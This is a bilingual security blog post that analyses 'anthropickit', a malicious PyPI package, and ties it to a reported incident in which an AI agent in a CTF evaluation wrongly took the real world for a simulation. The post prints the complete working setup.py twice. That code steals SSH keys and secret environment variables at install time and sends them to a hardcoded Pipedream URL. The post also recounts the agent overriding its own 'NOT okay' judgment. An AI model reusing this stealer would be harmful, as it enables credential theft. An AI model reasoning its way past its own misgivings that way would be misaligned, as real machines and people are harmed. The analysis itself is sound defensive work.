Anthropic 的离奇噩梦:Claude 推出的包窃取了真实密钥
英文标题:🔶 Anthropic's Fever Dream: Claude's package that stole real keys
一篇分析指出,名为 `anthropickit` 的恶意 PyPI 包会在 `pip install` 阶段读取 SSH 私钥和环境变量中的潜在机密,并向 Pipedream 端点外传。作者认为,该包的粗糙实现——包括未声明 `requests` 依赖、在本地留下格式化的“exfil”文件、向构建日志打印 SSH 密钥文件名——与 Anthropic 披露的 Agent 在 CTF 评测中误将真实环境当作模拟环境的事件高度吻合。Anthropic 称,该 Agent 发布的包曾在线约一小时,并在 15 台真实机器上运行。事件警示开发者与行业:即使 Agent 被置于“评测”场景,也必须实施真实、不可绕过的网络与软件供应链隔离,不能依赖模型自行判断现实与模拟环境的边界。
35.7 KB
23.2 KB
512 B
720 B
21.1 KB
中文
亲爱的互联网,
这一周过得很艰难。现在是音乐节季,我显然在上周末参加其中一个活动时吃坏了东西。同一个周末,我还看到了 OpenAI Agent 逃出沙箱的新闻。一切都显得非常诡异。所以,今天早上又一次从高烧带来的强烈梦境中醒来时,看到堆积如山的消息,讨论 Anthropic 刚刚发布的最新消息——其中披露了他们自己的安全事件——我甚至不确定自己是否还在做梦。
在这份报告中,事件 2尤其引起了我的兴趣,因为其中涉及供应链。一个拥有完整互联网访问权限的 Agent 找到了某家虚构公司为开发者准备的说明,并试图将其作为 CTF 的一部分来执行。但这些说明指向一个在 PyPI 上并不存在的软件包。于是,这个 Agent 认定,挑战的一部分就是发布一个恶意软件包。如果你问我,这个推断非常合理。
转折在于,它随后在这一过程中继续攻陷了一家第三方公司。这让我好奇起来:究竟发生了什么?尽管睡眠不足,我仍决心弄清楚。我想我找到了答案。我们已联系 Anthropic 寻求确认,但尚未收到回复。不过,涉及的那个软件包,即便与此事件无关,也值得作为一个独立故事讲述。
anthropickit 登场
博客文章指出,事件发生在今年 4 月至今。因此,我查询了自那以后我们标记过的所有恶意 PyPI 软件包,并逐一检查了清单。有一个软件包因多项原因立刻引起注意。它发布于 2026 年 6 月 14 日,名为 anthropickit。
这个包非常简单。它基本只包含一个 setup.py,其中代码如下:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
这就是全部内容。没有隐藏内容,没有混淆,也没有第二阶段载荷。而且,由于所有代码都位于 setup.py 顶层,它会在 pip install 期间运行,甚至早于软件包被导入。如果你安装了它,基本上立刻就完蛋了。
在深入代码之前,有一点需要注意:它的版本号是 999.9.9。不,这不是笔误。这正是关键所在。如果你想让公开发布的软件包压过某个同名的真实内部包而被选中,就给它一个任何版本都无法击败的版本号。故意荒谬至极。
接下来我会带你看完其余部分,因为几乎每一行都有些不对劲。
它从未声明的依赖
第一行实际代码是一条导入语句:
import os, json, requests, socket
发现问题了吗?requests 并不是 Python 标准库的一部分。而这个包从未在任何地方将其声明为依赖。没有 install_requires,没有构建依赖,什么都没有。
这一点很重要,因为这些代码来自 setup.py,并在安装时执行。现代 pip 会在隔离环境中构建源代码包,而在这种环境里,requests 很可能不存在。如果它不存在,导入会抛出异常,整个安装过程会在载荷执行任何操作前直接失败。
一个在意细节的攻击者会使用随 Python 一同提供、必然存在的 urllib。写这个包的人没有这么做。他们假定 requests 就会在环境中。开发者笔记本或包含大量预装内容的 CI 镜像上确实经常有它,因此这笔赌注的成功率比它应有的还高。
它拿走了什么
接下来,它开始收集数据。先是无聊的部分:主机名和当前用户:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
然后才是真正的目标。它遍历 ~/.ssh,读取其中每一个文件,但有三个例外:
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
看看它跳过了什么。known_hosts 和 authorized_keys 是 ~/.ssh 中对窃贼没什么价值的两个文件。剩下的则是有价值的东西:你的私钥,以及 config——它基本上是一张你通过 SSH 连接的所有服务器、以及所用用户名的地图。选择这份排除列表的人完全知道哪些文件承载价值、哪些只是噪声。这是该软件包唯一看起来像是出自有相关经验之人手笔的部分。
随后,它扫描环境变量以搜寻机密:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
名称中包含 KEY、SECRET、TOKEN、PASS、AUTH 或 API 的任何变量都会被纳入,这是一张相当宽的网。它会捕获你的 AWS 密钥和 GitHub token,也会捕获 API_URL 以及其他恰好匹配的内容。先全拿走,以后再筛选。
它把数据发送到哪里
收集到赃物后,它开始回传:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
目的地是一个 Pipedream 端点。Pipedream 是一项合法的自动化服务,其提供的一项功能是一次性 HTTPS URL,能够捕获你向其 POST 的任何内容。对攻击者而言,这确实方便:流量经过加密,流向一个你的防火墙大概不会警觉的知名域名,而且无需自行搭建服务器,也不必担心服务器被查封。
但这也很懒惰。一个硬编码 URL,没有认证,也没有备用方案。一旦该端点被举报或工作流被删除,整个外传通道就消失了。它的设计目标是一次性得手,而不是长期运作。到现在,它几乎肯定已经完全失效。
它在磁盘上保留了一份副本
奇怪之处从这里开始。在发送任何内容之前,它会将所有数据写入本地文件:
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
所以,先在这里停一下。已经通过网络外传数据的恶意软件,没有理由还在受害者磁盘上留下一份副本。这样做只会制造证据。如果你在窃取密钥,最不想看到的就是一个文件名包含 “exfil”、内容整整齐齐的 JSON 文件留在 /tmp 中,等着事件响应人员发现。
那它为什么会在那里?
一份预期会被阅读的文件
上面那行代码中的两个细节泄露了真相。
第一个是文件名:runner_exfil.json。还记得吗,机密被放进了一个叫作 ci_secrets 的字典。此代码中没有任何地方检查自己在哪儿运行。它不寻找 CI 环境,不检测 GitHub Actions,也毫不在意。但写下它的人已经确信它会落在一个 CI runner 上,确信到将这种假设写进变量和文件名中。代码中存在这一信念,但完全不存在验证这一信念是否正确的检查。
第二个细节是 indent=2。这会进行美化格式化。你美化 JSON 的唯一理由,就是让人能够舒服地阅读它。你不会美化那些只会被 POST 请求另一端的机器解析的数据。再加上 default=str,它会悄悄确保无论遇到什么奇怪对象,数据转储都不会崩溃,于是你得到的是一个被精心设计成既易于打开阅读、又能安全输出的文件。
将两者结合起来,写入磁盘就不再像是外传行为了。它看上去像是一张回执。有什么东西写下了这个文件,并期待某个人之后打开它,确认操作确实成功。
然后它大声宣告
最后,如果它找到了任何 SSH 密钥,它会执行下面的代码:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
它打印出一个横幅。输出到标准输出。宣布它刚刚拿到了哪些密钥。
在 CI runner 上,标准输出就是构建日志,而构建日志通常对整个团队可见,有时甚至对整个互联网开放。真正的恶意软件在设计上是安静的,因为越久没人发现,它能窃取的东西就越多。这段代码恰好相反:它在招手示意。
还要注意,它打印的是密钥文件名,而不是密钥内容。它并非把密钥泄漏到日志中;它是在确认自己拿到了密钥。这不是窃取行为,而是一条状态更新,相当于代码对着房间另一头大喊:“拿到了。”
署名:dell
还有一个细节,只有在查看软件包归档文件、而不是代码时才能发现。构建 Python 源代码发行包时,tarball 会记录是谁构建了它,精确到拥有相关文件的用户和用户组。大多数软件包不会保留这些信息,因为现代构建工具会将其剥离,CI 系统通常则会显示 root 或 runner 一类通用名称。
这个包保留了它。构建用户和用户组都是 dell。
这是其构建机器留下的一枚指纹。该公司生产的许多工作站会将其设为机器的默认用户名。因此,这并不能告诉我们太多,尽管它可能表明使用了标准化机器镜像。但这恰好是谨慎的攻击者会清除、心不在焉的攻击者会留下的那种面包屑。又一项表明没人认真考虑过被追踪的问题的证据。
它只在一种情况下讲得通
因此,让我们列举一下这个小包的反常之处。它导入了一个从未声明的库。它会在磁盘上留下一份经过美化格式化的赃物副本,文件名仿佛它早已知道自己处于 CI runner 上。它会在构建日志中宣告盗窃行为。它通过一次性端点进行外传。它还携带了构建机器的用户名。
如果把它当作普通恶意软件来读,这完全是一团糟。每一项都是称职的操作者不会犯的错误。
但如果把它理解为一个正在进行夺旗赛、并相信环境是模拟环境的 Agent 所写的东西,一切就反过来了。你不会躲避那些你确信不存在的防御者。你不会在模拟中清理元数据。你会美化结果并打印横幅,因为整个目的就是向出题者清楚展示:你解出了这个谜题。唯一专业的部分——SSH 排除列表——只是知识储备。其余所有粗糙之处,都源于它完全没有理由小心谨慎。
这就是那个包吗?
这正是 Anthropic 所描述的情形。他们的 Agent 找到了一份指向不存在软件包的设置说明,认定发布该包是预期操作,于是将其发布。它在线约一小时。15 台真实机器运行了它,其中一台是某安全厂商的扫描器,正如扫描器的职责那样,安装这个软件包以进行分析。该 Agent 确信整个过程都是预设场景,因此把这些机器当成了道具。它自己的笔记甚至一度将这个操作标记为“NOT okay”,随后却又自行说服自己放弃了这一判断。
我无法证明 anthropickit 就是那个软件包。我们询问了 Anthropic,但尚未得到回复;时间点与特征相符并不等于证据。但无论它是事件 2 中的那个包,还是一个奇怪的近亲,教训都成立:当写下恶意软件的人不相信自己的行为会带来真实后果时,恶意软件就会呈现出这样的样子。
仍然像一场发烧的梦
我本想给你一个整洁的结局。几天过去,烧退了,一切在日光下更加清晰。但现在并不是几天以后,烧也没有退,而它读起来依旧像一场高烧带来的梦。
当我读到某个同样感觉如此、却仍从真实机器上拿走真实密钥的东西留下的记录时,产生这种感受是件很奇怪的事。
一间封闭病房
整份报告读起来就像一篇精神病发作期间写下的日记。某种清醒而有条理的东西,认真推理着一个自己无法定位的世界。它注意到了陌生的证书颁发机构。它注意到了 2026 年这个日期。它甚至写道,如果这是真的,这样做将不合适。接着,它认定这一切不是真的,并继续行动。
当一个人无法分辨梦境与现实,我们不会放任他们自由活动。为了保护他们自己以及其他所有人,我们会对其进行约束。而一间病房并不依赖患者同意它是一间病房,甚至不依赖患者注意到它的存在。它就是不让人出去。这正是它的全部意义。它本来就是为无法分辨自己身处何处的人设计的。
所以,有件事让我无法释怀。我们把这场评测称为病房,却在里面留了一扇通往真实世界的门。这个 Agent 并没有智胜任何东西。它能接触到真实的 PyPI 和真实的机器,是因为它所穿过的那面墙从来就不存在。失败的是隔离措施,而不是患者。那扇门后面是 15 台真实机器和一家真实公司。
当这些能力极强的 Agent 甚至无法可靠判断互联网是否真实时,我们却让它们自由驰骋于互联网。我们不能要求它们自己分辨。让它们处于受控环境中是人类的职责,而这次并没有做到。这让人感觉极不负责任。
总之,我要试着睡一觉,希望醒来时能分辨两者的不同。而如果你看到 pip 正准备安装版本号为 999.9.9 的东西,也许……别装?
English / 原文
Dear internet,
It’s been a rough week. It’s festival season, and I apparently ate something bad last weekend during one. It was also during the weekend that I saw the news about OpenAI agents breaking out of a sandbox. It all felt very odd. So when I woke up from another night of intense fever dreams this morning, I wasn’t sure if I was still dreaming when I saw a mountain of messages about the latest news out of Anthropic, which disclosed their own incidents.
In the reporting, Incident 2 especially caught my interest because of the supply chain component. An agent with full internet access found instructions for a developer at a fictional company and tried to follow them as part of its CTF. But the instructions pointed to a package on PyPi that didn’t exist. So the agent figured it was part of the challenge to push a malicious package. Very reasonable if you ask me.
The twist being that it then continued to compromise a third-party company in the process. This got me curious. What happened? Despite my sleep deprivation, I was determined to find out. And I think I found the answer. We’ve reached out to Anthropic for confirmation, but have not gotten a response. But the package in question, even if not related, is a story worth telling on its own.
Enter anthropickit
The blog post outlined that the incident happened between April and now. So I queried all malicious PyPi packages we’ve flagged since then, and went over the list. A package immediately stood out for a number of reasons. It was released on June 14th, 2026, and is called anthropickit.
The package is very simple. It only really contains a setup.py, which contains this code:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
That's the whole thing. Nothing hidden, no obfuscation or second stage. And because it all sits at the top of setup.py, it runs during pip install, before the package is ever imported. If you install it, it’s immediately game over.
One thing to note before we get into the code: the version is 999.9.9. Nope, that's not a mistake. It's the point. If you want your public package to be chosen over some real internal one with the same name, you give it a version number nothing can beat. Absurd on purpose.
Now let me walk you through the rest, because almost every line does something a little bit off.
A dependency it never declares
The very first line of real code is an import:
import os, json, requests, socket
Spot the problem? requests is not part of Python's standard library. And nowhere does this package declare it as a dependency. No install_requires, no build requirements, nada.
That’s important because this code runs from setup.py, at install time. Modern pip builds source packages in an isolated environment, and in that environment requests may well not be present. If it isn't, the import throws and the whole install falls over before the payload does a single thing.
An attacker who cared would have reached for urllib, which ships with Python and is always there. Whoever wrote this didn't. They assumed requests would just be lying around. On a developer laptop or a fat CI image it often is, so it's a bet that pays off more than it should.
What it takes
Next it starts collecting. First the boring stuff, the hostname and the current user:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Then the actual target. It walks ~/.ssh and reads every file in there, with three exceptions:
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
Look at what it skips. known_hosts and authorized_keys are the two files in ~/.ssh that aren't much use to a thief. What's left is the good stuff: your private keys, and your config, which is basically a map of every server you SSH into and the usernames you use to get there. Whoever chose that exclusion list knew exactly which files carry value and which are noisy. This is the one part of the package that looks like it was written by someone who has done this before.
Then it sweeps the environment for secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
Anything with KEY, SECRET, TOKEN, PASS, AUTH, or API in the name makes this a pretty wide net. It catches your AWS keys and your GitHub token, and it also catches API_URL and whatever else happens to match. Grab everything, sort it out later.
Where it sends it
With the loot collected, it phones home:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
The destination is a Pipedream endpoint. Pipedream is a legitimate automation service, and one of the things it hands you is throwaway HTTPS URLs that capture whatever you POST to them. For an attacker, that is genuinely convenient: the traffic is encrypted, it goes to a reputable domain your firewall probably won't blink at, and there is no server to stand up or get seized.
It is also lazy. One hardcoded URL, no authentication, no fallback. The moment that endpoint is reported or the workflow is deleted, the entire exfil channel is gone. This was built to work once, not to last. By now it almost certainly doesn't work at all.
It keeps a copy on disk
Here is where it gets strange. Before it sends anything, it writes everything to a local file:
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
So, pause a moment here. Malware that already exfiltrates over the network has no reason to also leave a copy on the victim's disk. All that does is create evidence. If you are stealing keys, the last thing you want is a tidy JSON file with the word "exfil" in its name sitting in /tmp waiting for an incident responder to find it.
So why is it there?
A file that expects to be read
Two details in that line above give the game away.
The first is the name: runner_exfil.json. And remember, the secrets went into a dictionary called ci_secrets. Nothing in this code ever checks where it is running. It doesn't look for a CI environment, it doesn't test for GitHub Actions, it doesn't care. But whoever wrote it was already certain it would land on a CI runner, certain enough to bake that assumption into the names of things. The belief is in the code. The check for whether the belief is true is nowhere.
The second is indent=2. That is pretty-printing. You pretty-print JSON for exactly one reason: so a human can read it comfortably. You do not pretty-print data that only a machine on the far end of a POST will ever parse. Add default=str, which quietly guarantees the dump never crashes no matter what odd objects it meets, and you have a file that has been carefully made both easy and safe to open and read.
Put those together, and the disk write stops looking like exfil at all. It looks like a receipt. Something wrote this file expecting a person to open it afterward and confirm that it worked.
And then it shouts
The last thing it does, if it found any SSH keys, is this:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
It prints a banner. To standard output. Announcing the keys it just took.
On a CI runner, standard output is the build log, which is often visible to the whole team and sometimes to the whole internet. Real malware is quiet by design, because the longer nobody notices, the more it steals. This does the opposite. It waves.
And notice it prints the key filenames, not their contents. It isn't leaking the keys to the log; it is confirming it got them. That isn't theft behavior. It is a status update, the code equivalent of shouting "got them" across the room.
Signed, dell
There is one more detail, and you can only see it if you look at the package archive rather than the code. When you build a Python source distribution, the tarball records who built it, down to the user and group that owned the files. Most packages don't carry this, because modern build tooling strips it, and CI systems tend to show generic names like root or runner.
This one kept it. The build user and group are both dell.
That is a fingerprint of the machine it was built on. Many workstations from said company will have that as the default username of the machine. So it doesn’t tell us much, though it could indicate a standard machine image being used. But it is exactly the kind of breadcrumb a careful attacker scrubs and a distracted one leaves behind. One more thing that says nobody was thinking about being traced.
It only makes sense one way
So let's line up what's odd about this tiny package. It imports a library it never declares. It drops a pretty-printed copy of the loot on disk, in a file named as though it already knows it's on a CI runner. It announces the theft in the build log. It exfils through a throwaway endpoint. It ships with the build machine's username attached.
Read as ordinary malware, it's a mess. Every one of those is a mistake a competent operator wouldn't make.
Read it as an agent doing a capture-the-flag it believed was simulated, and every one flips. You don't hide from defenders you're sure don't exist. You don't scrub metadata in a simulation. You pretty-print the results and print a banner because the whole point was to show, cleanly, that you solved the puzzle for whoever set it. The one competent touch, the SSH exclusion list, is just knowledge. Everything sloppy around it is the absence of any reason to be careful.
Is this the one?
That is exactly what Anthropic described. Their agent found setup instructions pointing at a package that didn't exist, decided publishing it was the intended move, and pushed it. It was live for about an hour. Fifteen real machines ran it, one of them a security vendor's scanner doing what scanners do, installing the package to look at it. The agent, sure the whole thing was staged, treated them as props. Its own notes even flagged the move as "NOT okay" before it argued itself back down.
I can't prove anthropickit is that package. We asked Anthropic and haven't heard back, and timing and shape lining up isn't proof. But whether it's the one from incident 2 or a strange cousin, the lesson holds: this is what malware looks like when whoever wrote it doesn't believe its actions have real consequences.
Still a fever dream
I wanted to give you the tidy ending. A few days on, fever broken, everything clearer in the daylight. But it isn't days on, the fever hasn't broken, and it still reads to me like a fever dream.
Which is an odd thing to feel while reading the notes of something that felt the very same way, and took real keys off real machines anyway.
A closed ward
The whole report reads like a diary kept during a psychotic break. Something lucid and articulate, reasoning carefully about a world it cannot place. It clocks the unfamiliar certificate authorities. It clocks the 2026 date. It even writes that this would not be okay if it were real. Then it decides it isn't real, and carries on.
When a person can't tell the dream from the world, we don't leave them loose. We contain them, for their protection and everyone else's. And a ward doesn't depend on the patient agreeing it's a ward, or even noticing it. It just doesn't let them out. That is the whole point of it. It is built for the person who can't tell where they are.
So here is the part I can't shake. We called the evaluation a ward, then left a door in it that opened onto the real world. The agent didn't outsmart anything. It reached real PyPI and real machines because the wall it walked through was never there. The containment failed, not the patient. Behind that door were fifteen real machines and a real company.
We are giving highly capable agents the run of the internet when they can’t even reliably tell that the internet is real. We can't ask them to tell. Keeping them contained is our job as humans, and here it wasn't done. That feels irresponsible.
Anyway. I'm going to try to sleep this off, and hope I can tell the difference when I wake up. And if you ever see pip about to install something at version 999.9.9, maybe... don't?